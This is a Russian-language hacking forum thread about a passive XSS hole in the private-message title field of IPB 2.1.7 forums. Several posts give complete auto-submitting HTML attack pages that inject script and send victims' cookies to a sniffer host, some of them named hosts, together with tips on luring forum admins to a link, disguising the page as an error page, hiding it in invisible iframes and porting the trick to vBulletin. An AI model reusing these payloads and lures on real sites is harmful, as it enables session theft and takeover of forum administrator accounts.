Форумы IPB 2.1.7 passive XSS

Discussion in 'Уязвимости CMS/форумов' started by degeneration x, 2 Sep 2006.

Thread Status:
Not open for further replies.
  1. degeneration x

    degeneration x Elder - Старейшина

    Joined:
    11 Oct 2005
    Messages:
    92
    Likes Received:
    38
    Reputations:
    21
    Вот нашел сейчас пассивный хсс в ипб 2.1.7(на 2.1.4 тоже работает, на остальных не проверял).
    При заполнении формы отправки лс, в графу "Заголовок сообщения" пишем:
    Code:
    ">[xss_code]
    напрмер:
    Code:
    "><script>alert();</script>
    Жмём предварительный осмотр и вот наш алерт. Удачно использовать багу можно только через Passive Xss tools (предварительно его подправив), т.к. данные принимаются только чрез POST и стоит ограничение на 40 символов.

    Passive-Xss-tool by DRON-ANARCHY
    и
    Passive xss tool by Dg-X (MySQL)
     
    #1 degeneration x, 2 Sep 2006
    Last edited: 5 Sep 2006
    5 people like this.
  2. def_

    def_ New Member

    Joined:
    30 Aug 2006
    Messages:
    16
    Likes Received:
    3
    Reputations:
    11
    поясните - какой толк от этой дыры, если она работает только в Предварительном просмотре, при отправки мессаги, код не выполняется, а добавляется в заголовок как обычный текст?
     
  3. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    Составь html ку... используй post
    я спомощью такой XSS немало поимел!
     
  4. hawt

    hawt New Member

    Joined:
    11 Nov 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    а можно пример такой html - ки?
     
  5. def_

    def_ New Member

    Joined:
    30 Aug 2006
    Messages:
    16
    Likes Received:
    3
    Reputations:
    11
    Если я правильно понял, то должно быть что-то типа:

    HTML:
    <html>
    <head> 
    <meta http-equiv="content-type" content="text/html; charset=windows-1251" />
    </head>
    <body onLoad="document.REPLIER.submit();">
    <h3>Спасибо, сейчас вы будете перенаправлены</h3> <!-- Сюда можешь вставить любой текст или html код -->
    <form action="http://---АДРЕС ФОРУМА---/index.php?act=msg" method="post" name="REPLIER"">
    <input type="hidden" name="removeattachid" value="0" />
    <input type="hidden" name="OID"  value="" />  
    <input type="hidden" name="act" value="Msg" />
    <input type="hidden" name="CODE" value="04" />
    <input type="hidden" name="MODE" value="01" />
    <input type="hidden" name="preview" value="Предварительный просмотр">
    <input type="hidden" name="msg_title" value='"><script language="JavaScript">aa1 = new Image(); aa1.src="http://---ХОСТ НА КОТОРМ СНИФФЕР---/sniff.php"+document.cookie;</script>'>
    </form>	
    </body>
    </html>
    Эту страницу размещаешь где-нибудь в сети, присылаешь на нее ссылку, когда юзер переходит по ней, он автоматически перенаправляется на целевой форум, потом при учете, что по кукисам он зарегенный пользователь( не зарегистрированным нельзя отправлять сообщения ) он попадает на страницу предварительного просмотра написанного сообщения в своем профиле, на которой выполнится JavaScript код, который отправит его куки твоему снифферу.
     
  6. Retscan

    Retscan Member

    Joined:
    17 Dec 2006
    Messages:
    25
    Likes Received:
    9
    Reputations:
    11
    Passive XSS у меня так и не заработал, так что попытался тут кое-что свое замутить:

    Типа скрипт, для юзания данной уязвимости. Инструкция по использованию:
    1) Открываем файлик (ipbdeath.htm);
    2) Вписываем туда, где указано АДРЕС ФОРУМА-ЖЕРТВЫ;
    3) По желанию меняем адрес сниффера. По умолчанию <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
    4) Изменяем АДРЕС, КУДА БУДЕТ РЕДИРЕКТИТЬСЯ ПОСЛЕ ОТПРАВКИ КУКИСОВ.
    5) Выкладываем этот файлик где-нибудь (не забудьте переименовать, а то "ipbdeath.htm" о многом говорит :) )
    6) Даем на него ссылку админу форума, лучше всего это делать на самом форуме: в топике или в PM.
    7) Все, ждем результата на сниффере.

    Принцип работы:
    1) Пройдя по ссылке, админ попадает на нашу страничку, генерируется нужный POST-запрос. Далее админ автоматически редиректится на страницу отправки PM.
    2) Скрипт срабатывает.
    3) и страничка сразу редиректится туда, куда вы указали (лучше, думаю, указать на какой-нибудь топик форума, дабы тоже было меньше подозрений).

    Принцип работы очень прост, постарался просто облегчить использование xss и немного уменьшить палевность. Еще, если форум закэширован, редиректы проскочут быстро, и можно не заметить особо.

    В общем, жду отзывов, просьба ногами не пинать, я нубик пока :rolleyes:

    IPB Death
     
    1 person likes this.
  7. goffog

    goffog New Member

    Joined:
    6 Nov 2005
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    Retscan
    А скрипт то не пашет, сам пробывал исправить, ниче не вышло((( :(
    Пришлось делать свое, сделано совсем по другому, что бы усыпить бдительность жертвы, так как не ламер может понять что ему подсунули.Сделал просто напросто фишку под страницу ошибки на narod.ru , чел заходит, а яему ошибку и пишет что сейчас будет перемещен обратно. Но он может все таки просмотреть хтмл код, дык так как я не знаю как закодирывать адресс снифака советую сунуть его в глубь, что б если и просмотрел хтмл код, до него не добрался.
    Ну и естественно надо файл кидать на народ, и не забудьте его отредактирывать!
    Файлик
     
    #7 goffog, 23 Jan 2007
    Last edited: 23 Jan 2007
    1 person likes this.
  8. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Бред, не пройдет, т.к. кукисы будут отправляться именно того сервера, где находится твой скрипт =)
     
  9. goffog

    goffog New Member

    Joined:
    6 Nov 2005
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    Думаешь я б его выложил есле б не тестил??
    тем более ты принцип не понял.Щас обЪясню
     
  10. goffog

    goffog New Member

    Joined:
    6 Nov 2005
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    Скачали файлик, ложим его на свой домен на народе
    акк.народ.ру/файл.хтм
    и даем админу на форуме, он заходит на сам файл а не на страницу ошибки, сама страница уже вписана в тот файл
     
  11. Fr-Ron

    Fr-Ron Elder - Старейшина

    Joined:
    10 Sep 2006
    Messages:
    184
    Likes Received:
    72
    Reputations:
    13
    Добавь в ту html:


    HTML:
    <input type="hidden" name="entered_name" value="Nick">
     
    #11 Fr-Ron, 16 Feb 2007
    Last edited: 16 Feb 2007
  12. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    431
    Likes Received:
    252
    Reputations:
    48
    А с этого момента по подробней можно?)
     
  13. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    ну хз... я так обчно делал...

    сорри время мало неуспел всё обрезать...
    короче тестим ;)

     
  14. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    _GaLs_
    точно не помню....
    но смысл такой....

    у модера или админа есть функция изменить данные юзера...
    и там при изменении даты рождения поле не фильтруется
     
  15. GrAmOzEkA

    GrAmOzEkA Elder - Старейшина

    Joined:
    25 Jun 2006
    Messages:
    234
    Likes Received:
    76
    Reputations:
    29
    А ещё если я не ошибаюсь ,то можно код выше разместить на ifolder.ru как шапку и на форум выложить ссылку на файл который расположен на ifolder. Ток чёт куки на приходят на лог.
    Зарегистрировать акк можно здесь
    Ток надо я думаю надо убрать перенаправление в скрипте.
     
    #15 GrAmOzEkA, 19 Feb 2007
    Last edited: 19 Feb 2007
  16. spheere

    spheere Member

    Joined:
    24 May 2006
    Messages:
    13
    Likes Received:
    7
    Reputations:
    4
    Лучше впаривать ссылку на страницу такого типа
    HTML:
    <html>
    <body> 
    здесь любой контент
    <iframe width=0 height=0 frameborder=0 src="frame.htm">
    </body>
    </html>
    А все "подозрительные" действия совершать во фрейме
    HTML:
    <html>
    <body>
    <form name="xss" action="http://test1.ru/ipb217/index.php" method="post">
    <input type="hidden" name="act" value="Msg">
    <input type="hidden" name="CODE" value="04">
    <input type="hidden" name="MODE" value="01">
    <input type="hidden" name="msg_title" value='"><script>document.location.href="http://test2.ru/xss/s.php?"+document.cookie;</script>'>
    <script language=javascript>xss.submit()</script>
    </form>
    </body>
    </html>
    Как на видео с ДЛ
     
  17. spheere

    spheere Member

    Joined:
    24 May 2006
    Messages:
    13
    Likes Received:
    7
    Reputations:
    4
    _http://rapidshare.com/files/16889954/IPB_217_XSS.rar.html
    пасс: dl
     
    1 person likes this.
  18. Taylorith

    Taylorith Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    172
    Likes Received:
    11
    Reputations:
    0
    да и еще как узнать версию форума qwerty очень подозрительно то что к примеру чтобы узнать версию 2.1.* надо прописать путь до файла info.php я прописываю в qwerty ну в форуме естесно он мне пишет типа пожалуйста подождите форум загружается и потом главная страница форума,это что означает что файл присутсвует??И как узнать что это точно версия 221???
     
  19. KaMiKadZe

    KaMiKadZe Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    163
    Likes Received:
    35
    Reputations:
    19
    Попробуй в java-скриптах поглядеть, я обычно там всегда версию находил (но не всегда она там правельная)
    Вот в Античате я думаю версия не правильная:)
    PHP:
    /*======================================================================*\
    || #################################################################### ||
    || # vBulletin 3.0.6
    || # ---------------------------------------------------------------- # ||
    || # Copyright ©2000–2005 Jelsoft Enterprises Ltd. All Rights Reserved. ||
    || # This file may not be redistributed in whole or significant part. # ||
    || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
    || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
    || ############################[DGT-TEAM]############################## ||
    \*======================================================================*/
     
    #19 KaMiKadZe, 21 Feb 2007
    Last edited: 21 Feb 2007
  20. dante

    dante New Member

    Joined:
    28 Jan 2006
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    У меня получилось провернуть это на vbulletin 3.0.5. Спасибо dl и spheere за идею :)
    Принцип тот же, вставляем ксс в поле "тема".
    Дело в том, что на vbull скрипт срабатывал при нажатии кнопки"предварительный просмотр". Поэтому вместо form.submit() следует использовать
    Code:
    preview = document.getElementById("pre"); preview.click();
    Естественно, предварительно добавив атрибут id кнопке предпросмотра.
     
    1 person likes this.
Thread Status:
Not open for further replies.